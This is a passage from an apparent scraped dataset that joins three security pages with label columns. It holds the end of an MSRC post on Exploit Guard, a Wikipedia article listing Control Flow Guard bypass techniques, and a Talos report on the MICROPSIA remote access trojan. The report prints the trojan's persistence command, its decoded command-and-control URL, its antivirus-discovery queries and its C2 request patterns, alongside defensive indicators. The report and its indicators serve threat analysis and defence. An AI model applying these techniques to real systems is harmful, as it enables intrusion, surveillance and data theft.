provide the strongest protections available, we understand that many enterprises depend on legacy apps to run their business operations, many of which may never get recompiled with CFG. These users can now use Exploit Guard to help secure such apps on modern systems by configuring control flow protections for legacy apps, similar to those offered by EMET but built-in directly to Windows 10 as part of WDEG. These legacy app control flow protections include: Export Address Filtering (EAF) Import Address Filtering (IAF) Validate API Invocation (CallerCheck) Simulate Execution (SimExec) Validate Stack Integrity (StackPivot) Another common ask from our customers was for auditing support. To facilitate easy deployment and usage of mitigations without the burden of application compatibility side effects, we have introduced audit mode support for both EMET legacy app mitigations as well as existing native mitigations provided by Windows. Although EMET shipped with a set of recommended configuration settings, we know that many EMET customers customized the policy to suit the specific needs of their business. To help facilitate the migration to Windows Defender Exploit Guard, we have added a new PowerShell module that converts EMET XML settings files into Windows 10 mitigation policies for WDEG.\xc2 More information about this PowerShell module, and about how EMET features relate to security features in Windows 10, can be found in the topic Understanding Windows 10 in relation to the Enhanced Mitigation Experience Toolkit. Lastly, Windows Defender Exploit Guard includes much more than the features integrated from EMET, and we look forward to discussing host intrusion prevention capabilities and other WDEG components in a future blog post. In terms of upcoming features, WDEG will soon be fully integrated with Windows Defender ATP (WDATP) to provide a single-pane-of-glass view across the Windows security stack. Violations of configured WDEG mitigations will be logged by WDATP and used as additional signals for more advanced exploit detection. For more details on Windows 10\xe2\x80\x99s threat mitigations, please refer to our Windows 10 Threat Mitigations documentation on Microsoft Docs. \xe2\x80\x93 Nate Nunez, OS Security Share Post navigation \xe2\x86\x90 Previous Post Next Post \xe2\x86\x92 Search for: Follow MSRC Categories BlueHat (174) Japan Security Team (858) MSRC (894) Security Research & Defense (358) Tags advisory (59) ANS (47) Attack (43) Attack Vector (68) BlueHat Security Briefings (51) Community-based Defense (54) Defense-in-depth (38) EcoStrat (34) EMET (68) Exploitability (76) Internet Explorer (IE) (156) malware (58) Microsoft Active Protections Program (MAPP) (32) Microsoft Office (81) Microsoft Windows (106) Mitigations (125) monthly bulletin release (48) rating (48) Risk Asessment (104) security (67) Security Advisory (133) Security Bulletin (133) security bulletin release (44) Security Bulletins (39) Security Conference Engagement (56) Security Ecosystem (52) Security Engineering (42) Security Research (61) Security Update (132) Security Update Webcast (46) Security Update Webcast Q & A (70) Update Tuesday (56) Webcast (37) Windows Update (68) Workarounds (74) Zero-Day Exploit (36) \xe3\x82\xa2\xe3\x83\x89\xe3\x83\x90\xe3\x82\xa4\xe3\x82\xb6\xe3\x83\xaa (118) \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 (52) \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe6\x83 \xe5 \xb1 (390) \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe6\x9b\xb4\xe6\x96\xb0 (47) \xe3\x83\xaf\xe3\x83\xb3\xe3\x83\x9d\xe3\x82\xa4\xe3\x83\xb3\xe3\x83\x88 (39) \xe5\x95\x93\xe7\x99\xba (44) \xe5\xb1\x95\xe9\x96\x8b (45) \xe6\x99\x82\xe4\xba\x8b\xe3\x83\x8d\xe3\x82\xbf (42) \xe8\x84\x86\xe5\xbc\xb1\xe6\x80\xa7 (206) Recent Posts Calling all breakers & builders: BlueHat Seattle registration is open! Attacking the VM Worker Process 2019 \xe5\xb9\xb4 9 \xe6\x9c\x88\xe3\x81\xae\xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe6\x9b\xb4\xe6\x96\xb0\xe3\x83\x97\xe3\x83\xad\xe3\x82\xb0\xe3\x83\xa9\xe3\x83 (\xe6\x9c\x88\xe4\xbe\x8b) September 2019 Security Updates BlueHat Seattle 2019 Call for Papers is Now Open! Archives Archives Select Month September 2019 \xc2 (6) August 2019 \xc2 (9) July 2019 \xc2 (12) June 2019 \xc2 (5) May 2019 \xc2 (7) April 2019 \xc2 (3) March 2019 \xc2 (8) February 2019 \xc2 (3) January 2019 \xc2 (5) December 2018 \xc2 (4) November 2018 \xc2 (3) October 2018 \xc2 (14) September 2018 \xc2 (9) August 2018 \xc2 (8) July 2018 \xc2 (5) June 2018 \xc2 (4) May 2018 \xc2 (5) April 2018 \xc2 (7) March 2018 \xc2 (7) February 2018 \xc2 (10) January 2018 \xc2 (6) December 2017 \xc2 (6) November 2017 \xc2 (6) October 2017 \xc2 (4) September 2017 \xc2 (8) August 2017 \xc2 (7) July 2017 \xc2 (8) June 2017 \xc2 (10) May 2017 \xc2 (8) April 2017 \xc2 (9) March 2017 \xc2 (7) February 2017 \xc2 (5) January 2017 \xc2 (4) December 2016 \xc2 (2) November 2016 \xc2 (9) October 2016 \xc2 (6) September 2016 \xc2 (11) August 2016 \xc2 (8) July 2016 \xc2 (2) June 2016 \xc2 (4) May 2016 \xc2 (5) April 2016 \xc2 (6) March 2016 \xc2 (6) February 2016 \xc2 (8) January 2016 \xc2 (5) December 2015 \xc2 (4) November 2015 \xc2 (5) October 2015 \xc2 (9) September 2015 \xc2 (6) August 2015 \xc2 (8) July 2015 \xc2 (7) June 2015 \xc2 (5) May 2015 \xc2 (4) April 2015 \xc2 (6) March 2015 \xc2 (10) February 2015 \xc2 (7) January 2015 \xc2 (6) December 2014 \xc2 (6) November 2014 \xc2 (15) October 2014 \xc2 (18) September 2014 \xc2 (19) August 2014 \xc2 (13) July 2014 \xc2 (16) June 2014 \xc2 (18) May 2014 \xc2 (17) April 2014 \xc2 (22) March 2014 \xc2 (16) February 2014 \xc2 (19) January 2014 \xc2 (12) December 2013 \xc2 (17) November 2013 \xc2 (24) October 2013 \xc2 (23) September 2013 \xc2 (16) August 2013 \xc2 (16) July 2013 \xc2 (19) June 2013 \xc2 (20) May 2013 \xc2 (17) April 2013 \xc2 (18) March 2013 \xc2 (13) February 2013 \xc2 (18) January 2013 \xc2 (16) December 2012 \xc2 (16) November 2012 \xc2 (17) October 2012 \xc2 (14) September 2012 \xc2 (19) August 2012 \xc2 (14) July 2012 \xc2 (24) June 2012 \xc2 (21) May 2012 \xc2 (14) April 2012 \xc2 (14) March 2012 \xc2 (16) February 2012 \xc2 (11) January 2012 \xc2 (12) December 2011 \xc2 (23) November 2011 \xc2 (21) October 2011 \xc2 (13) September 2011 \xc2 (18) August 2011 \xc2 (14) July 2011 \xc2 (18) June 2011 \xc2 (16) May 2011 \xc2 (14) April 2011 \xc2 (17) March 2011 \xc2 (13) February 2011 \xc2 (17) January 2011 \xc2 (18) December 2010 \xc2 (22) November 2010 \xc2 (15) October 2010 \xc2 (13) September 2010 \xc2 (29) August 2010 \xc2 (21) July 2010 \xc2 (21) June 2010 \xc2 (15) May 2010 \xc2 (15) April 2010 \xc2 (25) March 2010 \xc2 (28) February 2010 \xc2 (27) January 2010 \xc2 (29) December 2009 \xc2 (22) November 2009 \xc2 (21) October 2009 \xc2 (23) September 2009 \xc2 (21) August 2009 \xc2 (14) July 2009 \xc2 (34) June 2009 \xc2 (24) May 2009 \xc2 (20) April 2009 \xc2 (32) March 2009 \xc2 (26) February 2009 \xc2 (23) January 2009 \xc2 (21) December 2008 \xc2 (26) November 2008 \xc2 (15) October 2008 \xc2 (40) September 2008 \xc2 (15) August 2008 \xc2 (26) July 2008 \xc2 (25) June 2008 \xc2 (25) May 2008 \xc2 (13) April 2008 \xc2 (17) March 2008 \xc2 (18) February 2008 \xc2 (11) January 2008 \xc2 (13) December 2007 \xc2 (15) November 2007 \xc2 (9) October 2007 \xc2 (13) September 2007 \xc2 (18) August 2007 \xc2 (7) July 2007 \xc2 (3) June 2007 \xc2 (2) May 2007 \xc2 (10) April 2007 \xc2 (18) March 2007 \xc2 (5) February 2007 \xc2 (4) January 2007 \xc2 (6) December 2006 \xc2 (10) November 2006 \xc2 (6) October 2006 \xc2 (10) September 2006 \xc2 (9) August 2006 \xc2 (10) July 2006 \xc2 (9) June 2006 \xc2 (17) May 2006 \xc2 (8) April 2006 \xc2 (7) March 2006 \xc2 (16) February 2006 \xc2 (7) January 2006 \xc2 (11) December 2005 \xc2 (7) November 2005 \xc2 (11) October 2005 \xc2 (9) September 2005 \xc2 (9) August 2005 \xc2 (13) July 2005 \xc2 (11) June 2005 \xc2 (11) May 2005 \xc2 (5) April 2005 \xc2 (2) March 2005 \xc2 (2) February 2005 \xc2 (16) Copyright \xc2\xa9 2019 Microsoft Security Response Center | Powered by MSRC Blog","1","1","0","0","1","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0" -"Control-flow integrity - Wikipedia Control-flow integrity From Wikipedia, the free encyclopedia Jump to navigation Jump to search The examples and perspective in this article may not represent a full view of the subject. Please improve this article and discuss the issue on the talk page. (May 2019) term in computer security Control-flow integrity (CFI) is a general term for computer security techniques which prevent a wide variety of malware attacks from redirecting the flow of execution of a program. Associated techniques include code-pointer separation (CPS), code-pointer integrity (CPI), stack canaries, shadow stacks, and vtable pointer verification.[1][2][3] Related implementations are available in Clang,[4] Microsoft's Control Flow Guard[5][6][7] and Return Flow Guard,[8] Google's Indirect Function-Call Checks[9] and Reuse Attack Protector (RAP).[10][11] Contents 1 Microsoft Control Flow Guard 1.1 Summary 1.2 Implementation details 1.3 Bypass techniques 2 See also 3 References Microsoft Control Flow Guard[edit] Control Flow Guard (CFG) was first released for Windows 8.1 Update 3 (KB3000850) in November 2014. Developers can add CFG to their programs by adding the /guard:cf linker flag before program linking in Visual Studio 2015 or newer.[12] As of Windows 10 Creators Update (Windows 10 version 1703), the Windows kernel is compiled with CFG.[13] The Windows kernel uses Hyper-V to prevent malicious kernel code from overwriting the CFG bitmap.[14] Summary[edit] CFG operates by creating a per-process bitmap, where a set bit indicates that the address is a valid destination. Before performing each indirect function call, the application checks if the destination address is in the bitmap. If the destination address is not in the bitmap, the program terminates.[12] This makes it more difficult for an attacker to exploit a use-after-free by replacing an object's contents and then using an indirect function call to execute a payload.[15] Implementation details[edit] For all protected indirect function calls, the _guard_check_icall function is called, which performs the following steps:[16] Convert the target address to an offset and bit number in the bitmap. The highest 3 bytes are the byte offset in the bitmap The bit offset is a 5-bit value. The first four bits are the 4th through 8th low-order bits of the address. The 5th bit of the bit offset is set to 0 if the destination address is aligned with 0x10 (last four bits are 0), and 1 if it is not. Examine the target's address value in the bitmap If the target address is in the bitmap, return without an error. If the target address is not in the bitmap, terminate the program. Bypass techniques[edit] There are several generic techniques for bypassing CFG: Set the destination to code located in a non-CFG module loaded in the same process.[15][17] Find an indirect call that was not protected by CFG (either CALL or JMP).[15][17][18] Use a function call with a different number of arguments than the call is designed for, causing a stack misalignment, and code execution after the function returns (patched in Windows 10).[19] Use a function call with the same number of arguments, but one of pointers passed is treated as an object and writes to a pointer-based offset, allowing overwriting a return address.[20] Overwrite the function call used by CFG to validate the address (patched in March 2015)[18] Set the CFG bitmap to all 1's, allowing all indirect function calls[18] Use a controlled-write primitive to overwrite an address on the stack (since the stack is not protected by CFG) [18] See also[edit] Control flow Buffer overflow protection Return-oriented programming References[edit] ^ Payer, Mathias; Kuznetsov, Volodymyr. ""On differences between the CFI, CPS, and CPI properties"". nebelwelt.net. Retrieved 2016-06-01. ^ ""Adobe Flash Bug Discovery Leads To New Attack Mitigation Method"". Dark Reading. Retrieved 2016-06-01. ^ Endgame. ""Endgame to Present at Black Hat USA 2016"". www.prnewswire.com. Retrieved 2016-06-01. ^ ""Control Flow Integrity \xe2\x80\x94 Clang 3.9 documentation"". clang.llvm.org. Retrieved 2016-06-01. ^ Pauli, Darren. ""Microsoft's malware mitigator refreshed, but even Redmond says it's no longer needed"". Retrieved 2016-06-01. ^ Mimoso, Michael (2015-09-22). ""Bypass Developed for Microsoft Memory Protection, Control Flow Guard"". Threatpost | The first stop for security news. Retrieved 2016-06-01. ^ Smith, Ms. ""DerbyCon: Former BlueHat prize winner will bypass Control Flow Guard in Windows 10"". Network World. Retrieved 2016-06-01. ^ ""Return Flow Guard"". Tencent. Retrieved 2017-01-19. ^ Tice, Caroline; Roeder, Tom; Collingbourne, Peter; Checkoway, Stephen; Erlingsson, \xc3\x9alfar; Lozano, Luis; Pike, Geoff (2014-01-01). ""Enforcing Forward-Edge Control-Flow Integrity in GCC & LLVM"". Cite journal requires |journal= (help) ^ Security, heise. ""PaX Team stellt Schutz vor Code Reuse Exploits vor"". Security (in German). Retrieved 2016-06-01. ^ ""Frequently Asked Questions About RAP"". Retrieved 2016-06-01. ^ a b ""Control Flow Guard"". MSDN. Retrieved 2017-01-19. ^ ""Analysis of the Shadow Brokers release and mitigation with Windows 10 virtualization-based security"". Microsoft Technet. Retrieved 2017-06-20. ^ ""Universally Bypassing CFG Through Mutability Abuse"" (PDF). Alex Ionescu's Blog. Retrieved 2017-07-07. ^ a b c Falc\xc3\xb3n, Francisco (2015-03-25). ""Exploiting CVE-2015-0311, Part II: Bypassing Control Flow Guard on Windows 8.1 Update 3"". Core Security. Retrieved 2017-01-19. ^ ""Control Flow Guard"" (PDF). Trend Micro. Retrieved 2017-01-19. ^ a b ""Windows 10 Control Flow Guard Internals"" (PDF). Power of Community. Retrieved 2017-01-19. ^ a b c d ""Bypass Control Flow Guard Comprehensively"" (PDF). BlackHat. Retrieved 2017-01-19. ^ ""An interesting detail about Control Flow Guard"". Bromium. Retrieved 2017-01-19. ^ Thomas, Sam. ""Object Oriented Exploitation: New techniques in Windows mitigation bypass"". Slideshare. Retrieved 2017-01-19. Retrieved from ""https://en.wikipedia.org/w/index.php?title=Control-flow_integrity&oldid=900232202"" Categories: Computer security Hidden categories: CS1 errors: missing periodical CS1 German-language sources (de) Articles with limited geographic scope from May 2019 Articles with short description Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page Print/export Create a book Download as PDF Printable version Languages \xd0 \xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Edit links This page was last edited on 4 June 2019, at 09:03\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","1","1","0","0","1","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0" -"Talos Blog || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: Delphi Used To Score Against Palestine Software Vulnerability Information Vulnerability Information BACK Vulnerability Reports Microsoft Advisories Reputation Center Reputation Center BACK IP & Domain Reputation Talos File Reputation Reputation Support AMP Threat Naming Conventions IP Blacklist Download AWBO Exercises Categories Library Support Communities Support Communities BACK Snort Community ClamAV Community Reputation Center Support SpamCop Careers Blog About Monday, June 19, 2017 Delphi Used To Score Against Palestine This blog was authored by Paul Rascagneres and Warren Mercer\xc2 with contributions from Emmanuel Tacheau,\xc2 Vanja Svajcer and Martin Lee. Executive Summary Talos continuously monitors malicious emails campaigns. We identified one specific spear phishing campaign launched against targets within Palestine, and specifically against Palestinian law enforcement agencies. This campaign started in April 2017, using a spear phishing campaign to deliver the MICROPSIA payload in order to remotely control infected systems. Although this technique is not new, it remains an effective technique for attackers. The malware itself was developed in Delphi; in this article, we describe the features and the network communication to the command and control server used by the attackers. The threat actor has chosen to reference TV show characters and include German language words within the attack. Most significantly, the attacker has appeared to have used genuine documents stolen from Palestinian sources as well as a controversial music video as part of the attack. Spear Phishing Campaign We identified a spear phishing campaign that appeared to be targeting members of the Palestinian law enforcement services as well as other Palestinian targets in the public sector. The email purports to be sent from an individual named ""Yasser Saad"" but includes a mismatch between the apparent name and the email address 'yassersaaid01@gmail.com' suggesting ""Yasser Saaid"". The subject of the email translates to ""Brothers security officers and directors"", with the text content ""Kindly to view and circulate under the responsibility: The Council of Ministers' Decision on the Use of the Internet in Government Institutions"" Attached to the email is a .r10 file, which suggests that the file is a tenth part of a split RAR archive. However, this isn't the case. The attachment is a simple RAR file. Despite the unusual file name extension, this file can be opened by many RAR archive handlers without modification. The RAR archive contains a single executable file named: InternetPolicy_65573247239876023_3247648974234_32487234235667_pdf.exe The .r10 file extension may have been chosen in order to confuse automated file parsing systems that check for malicious contents of archives with known file name extensions. Similarly, the long name of the file within the archive, along with the ending '_pdf.exe' may have been used to convince victims into thinking that the file is a real PDF file. It is worth keeping in mind that by default Windows will not show the .exe extension to the user. The icon of executable file itself is that commonly used for PDF files, enhancing the idea that the contents of the archive is a PDF. When the executable is launched it extracts the decoy document embedded as the PE resource named Resource_1 and opens it. Decoy Document The decoy document displayed, InternetPolicy.pdf, is a scanned document by the Ministry Of Interior of the State Of Palestine, signed by Dr Alaa Mousa, Minister of Communications & Technologies: The decoy document contains 7 pages describing new internet usage policies. The first page (shown above) informs governmental departments of the policy, and instructs them to follow it. A handwritten note stated to be from the Director of the IT Department adds his 'seal of approval' to the document. In the background, the malware MICROPSIA is executed on the infected system. This malware is a Remote Administration Tool (RAT), it will be described later. Associated Campaigns We have also identified drive-by download campaigns which are distributing variants of the same malware, but with different decoy documents. URLs used in this campaign include: http://sheldon-cooper[.]info/Fuqha_NewDetails_docx.r10 http://feteh-asefa[.]com/pc/public/Fuqha_NewDetails_docx.r10 http://feteh-asefa[.]com/pc/public/Altarnatevs.r10 https://sheldon-cooper[.]info/attachment.r10 As with the spear phish, the archives also have the same .r10 extension. The first two archives contain the file: Fuqha_NewDetails_874918321795_39778423423094_1988734200039_docx.exe which although the file name suggests a .docx file, the icon is that of a PDF document. The second two archives contain the file: Altarnatives_Palestine_89840923498679852_9879483278432732489_pdf.exe Again being an executable file with a PDF style icon. Decoy Documents Altarnatives_Palestine Document The .pdf decoy document is study from the Palestinian Center for Policy Research and Strategic Studies (MASARAT): This 22 pages long research document addresses the current level of threat & security issues within the West Bank for 2016 & 2017. It contains chapters relating to human rights, data from Arab World for Research and Development center, violence center report etc. Fuqha_NewDetails Document This 8 page long document appears to be an intelligence report based on interviews, documents and public information. The document mentions an assassination report of one of the highest ranked officers of the Al Qassam group's (Millitary Wing of HAMAS, aka Armed Militia). The document contains a single image, an illustration of the leadership of Hamas, hierarchical security & subgroups: Further Campaigns We also identified additional, related malicious documents which conform to the same naming pattern and which share indicators with the original malware we discovered. Plan_Palestine Document Plan_Palestine_898409266595123498679852_9879483278432732489_pdf.exe The decoy document of this sample is a word document. It presents the strategic objectives, policies and interventions concerning security units (aka Police), including how to face the challenges, how to train police, new weapons etc. Diwan2017_Palestine Document Diwan2017_Palestine_89840923498679852_9879483278432732489_pdf.exe This decoy document is a PDF file. The document itself appears to be scanned from the Council of Ministers of Palestine and relates to an announcement concerning employee regulation. Goal2017 Document Goal2017_487886_10152599711675287_250999354_n_354343741352mp4.exe Instead of a decoy document, this sample is a decoy video of a music clip ""Goal"" by the Lebanese singers Myriam Klink and Jad Khalife. This video is particularly controversial as the overt nature of the video led it to be banned by the Lebanese Justice ministry. The sharing or airing of it is subject to a fine of 50 000 000 Lebanese Liras (approximately 33k USD). MICROPSIA Analysis For all of these decoy documents, the malware is identical, the only differences are the sections containing the decoy documents themselves. The malware is a remote access trojan (RAT) written in Delphi named MICROPSIA. Features Firstly, the malware copies itself in C:\\ProgramData\\MediaPlayer\\ExecuteLibrary.exe. The malware contains several resources, one of which is the decoy document, another is a legitimate binary developed by OptimumX named shortcut.exe. As expected the purpose of this tool is to create a shortcut. It is through creating a shortcut that the malware ensures its persistence: Shortcut.exe /f:""C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\D_Windows_v1.lnk"" /a:c /t:""C:\\ProgramData\\MediaPlayer\\ExecuteLibrary.exe"" The malware is a Remote Administration Tool (RAT) which downloads and executes an executable obtained from the Command & Control infrastructure. This executable is downloaded in string format and then modified to become a binary file with the Hex2Bin Delphi API. An interesting element is the obfuscation algorithm used to hide the configuration of the RAT. The variables are stored in a custom base64: Once decoded with base64 and with 2 XOR Keys we can obtain the configuration of the malware: [{000214A0-0000-0000-C000-000000000046}] Prop3=19,2 [InternetShortcut] IDList= URL=file:// Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) http://camilleoconnell.website/api/white_walkers/ daenerys betriebssystem anwendung mikasa ackerman ginny AV We will see later, that this configuration contains the User-Agent, the CC URL and the json keys used for the network communication. Additionally the malware is interested by Anti-Virus installed on the system. It uses WMI queries to get this information: SELECT * FROM AntiVirusProduct SELECT * FROM AntiSpywareProduct SELECT * FROM FirewallProduct If an security product is installed this information is sent to the attacker. Network Communication All the network parameters are stored in the sample and can be easily updated by the author. The CnC is a web server: http://camilleoconnell[.]website The network communication is performed in HTTP. The malware uses an hardcoded User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) To register a new infected system the malware perform a POST request to /api/white_walkers/new with data on the compromised system consisting of: the filename of the executed malware and the version; the version of the infected Operating System; the hostname and username encoded in base64. The CC will reply in json format. The json object contains an ID (incremented each time that an infected system is registered) and 3 other boolean values: load_varys, lma and ausfart. Here is an output of a registration: As part of our investigation we believe currently more than 500 systems are already registered on the CC. This number may be a mix of genuinely infected systems and security researcher sandbox systems. After a registration, the malware periodically performs HTTP requests to the CC with the following pattern: GET /api/white_walkers/[base64_data_previously_sent]/requests The server will reply with a json object. We assume that the server can issue orders to the infected system. Here is an example: Reference to TV Show Characters In the analysed variant, we identify several reference to TV Show characters in the network communication and the URLs used by this actor: sheldon-cooper[.]info: this URL is a reference to one of the main characters of ""The Big Bang Theory"" named Sheldon Cooper; Camilleoconnell[.]website: this URL is a reference to Camille O'Connell, the main actress of ""The Vampire Diaries"" and ""The Originals""; Mikasa Ackerman is a json key returned by the CC. And this name is a character in ""Attack on Titan""; /White_Walker/ in the URL is a species in the TV Show ""Game of Thrones""; Deanerys is a variable used during Web request. This is the name of a character in ""Game of Thrones""; Lord_varys is another json key returned by the CC. This is the name of a ""Game of Thrones"" character. The malware author appears to have a real interest for TV shows. Goethe's Style We identified the use of german language words in the network communication with the Command and Control server. ""Betriebssystem"" which means Operating System. This variable is used to send the OS version (for example ""Windows 7 Service Pack 1 (Version 6.1, Build 7601, 32-bit Edition)"") ""Anwendung"" which means Application. This variable is used to send the filename and the version of the malware. ""Ausfahrt"" which means Exit. This is a json key used by the CC during network communication. The key contains a boolean (false/true) Obviously, the use of german words does not necessarily means that the author is German. The author could simply be adding german word in order to cover their tracks. Conclusion This spear phishing campaign was directed against Palestinian authorities and possibly against other entities. At least 500 machines have been registered by the CC infrastructure, which is still operating, indicating that this is a successful campaign. At Talos, we have in-depth experience of many APT campaigns, in this case one of the most surprising elements is the overt naming convention: the author deliberately uses references to several US TV show and intentionally uses German words for malware communication. We have no indication if these inclusions are to confuse attribution, to mock analysts, or a lapse of trade craft. This is in contrast to the highly convincing decoy documents which appear to be copies of genuine documents relating to the current situation in Palestine which suggests a high degree of professionalism. IOCs File hashes InternetPolicy.r10: 9b162f43bcbfaef4e7e7bdffcf82b7512fac0fe81b7f2c172e1972e5fe4c9327 InternetPolicy_65573247239876023_3247648974234_32487234235667_pdf.exe: 9cb5ef0b17eea1a43d5d323277e08645574c53ab1f65b0031a6fc323f52b0079 Attachment.r10: c7081b00ad8db62519c7af2cb5f493f56ecc487b087ae52d01f43953d2aa6952 Altarnatives_Palestine_89840923498679852_9879483278432732489_pdf.exe: 0180e2b601ae643e7adf1784c313dd2d10d114bd2b5692eb6e9c031a6e448ed1 Fuqha_NewDetails_docx.r10: 94902877b2cb523548a272d4e4fe0789192e1cb35b531297368b16a2865b33af Fuqha_NewDetails_874918321795_39778423423094_1988734200039_docx.exe: 77adba034d13b570c6aab79282326a1eb2efdfc14fbd7cd0651906e3fa31f9fe Plan_Palestine_898409266595123498679852_9879483278432732489_pdf.exe: 6c5884cf45d943f51566ea98113fecf851d49f59b70c8039aa21a14e09e21e5c Diwan2017_Palestine_89840923498679852_9879483278432732489_pdf.exe: 7c87f992674b962269d7fb2ffbad6d21f606c90d151a6fb67ac54387b6883aae Goal2017_487886_10152599711675287_250999354_n_354343741352mp4.exe: 5f5af4762c073234fef6bfeaa3b9f6a04982e82a25e540116aa1f9e38223ae2b Domains feteh-asefa[.]com sheldon-cooper[.]info camilleoconnell[.]website URLs http://sheldon-cooper[.]info/Fuqha_NewDetails_docx.r10 http://feteh-asefa[.]com/pc/public/Fuqha_NewDetails_docx.r10 http://feteh-asefa[.]com/pc/public/Altarnatevs.r10 https://sheldon-cooper[.]info/attachment.r10 http://camilleoconnell[.]website/api/white_walkers/new http://camilleoconnell[.]website/api/white_walkers/[base64]/requests Coverage Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Additional ways our customers can detect and block this threat are listed below. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. Network Security appliances such as NGFW, NGIPS, and Meraki MX with Advanced Security can detect malicious activity associated with this threat AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. Umbrella prevents DNS resolution of the domains associated with malicious activity. Stealthwatch detects network scanning activity, network propagation, and connections to CnC infrastructures, correlating this activity to alert administrators. Posted by Warren Mercer at 11:48 AM Labels: Palestine, RAT, Talos, Threat Research Share This Post No comments: Post a Comment Newer Post Older Post Home Subscribe to: Post Comments (Atom) Subscribe To Our Feed Posts Comments Subscribe via Email Blog Archive \xe2\x96\xba\xc2 2019 (191) \xe2\x96\xba\xc2 September (18) \xe2\x96\xba\xc2 August (21) \xe2\x96\xba\xc2 July (23) \xe2\x96\xba\xc2 June (16) \xe2\x96\xba\xc2 May (25) \xe2\x96\xba\xc2 April (25) \xe2\x96\xba\xc2 March (24) \xe2\x96\xba\xc2 February (19) \xe2\x96\xba\xc2 January (20) \xe2\x96\xba\xc2 2018 (198) \xe2\x96\xba\xc2 December (16) \xe2\x96\xba\xc2 November (15) \xe2\x96\xba\xc2 October (26) \xe2\x96\xba\xc2 September (16) \xe2\x96\xba\xc2 August (12) \xe2\x96\xba\xc2 July (20) \xe2\x96\xba\xc2 June (15) \xe2\x96\xba\xc2 May (15) \xe2\x96\xba\xc2 April (21) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (14) \xe2\x96\xba\xc2 January (18) \xe2\x96\xbc\xc2 2017 (171) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (11) \xe2\x96\xba\xc2 October (15) \xe2\x96\xba\xc2 September (17) \xe2\x96\xba\xc2 August (16) \xe2\x96\xba\xc2 July (14) \xe2\x96\xbc\xc2 June (14) Vulnerability Spotlight: Dell Precision Optimizer ... New Ransomware Variant ""Nyetya"" Compromises System... Threat Round-up for June 16 - June 23 Vulnerability Spotlight: Multiple Vulnerabilities ... Player 1 Limps Back Into the Ring - Hello again, L... Talos Targets Disinformation with Fake News Challe... Delphi Used To Score Against Palestine Vulnerability Spotlight: Multiple Foscam C1 Vulner... BASS - BASS Automated Signature Synthesizer Deep dive in Lexmark Perceptive Document Filters E... Microsoft Patch Tuesday - June 2017 BWT EP6: Enter the Talos, But Please Use a Unique ... Threat Round-up for June 2 - June 9 The Internet of Vulnerable Things \xe2\x96\xba\xc2 May (19) \xe2\x96\xba\xc2 April (17) \xe2\x96\xba\xc2 March (17) \xe2\x96\xba\xc2 February (12) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2016 (98) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (8) \xe2\x96\xba\xc2 October (11) \xe2\x96\xba\xc2 September (8) \xe2\x96\xba\xc2 August (8) \xe2\x96\xba\xc2 July (9) \xe2\x96\xba\xc2 June (10) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (7) \xe2\x96\xba\xc2 February (6) 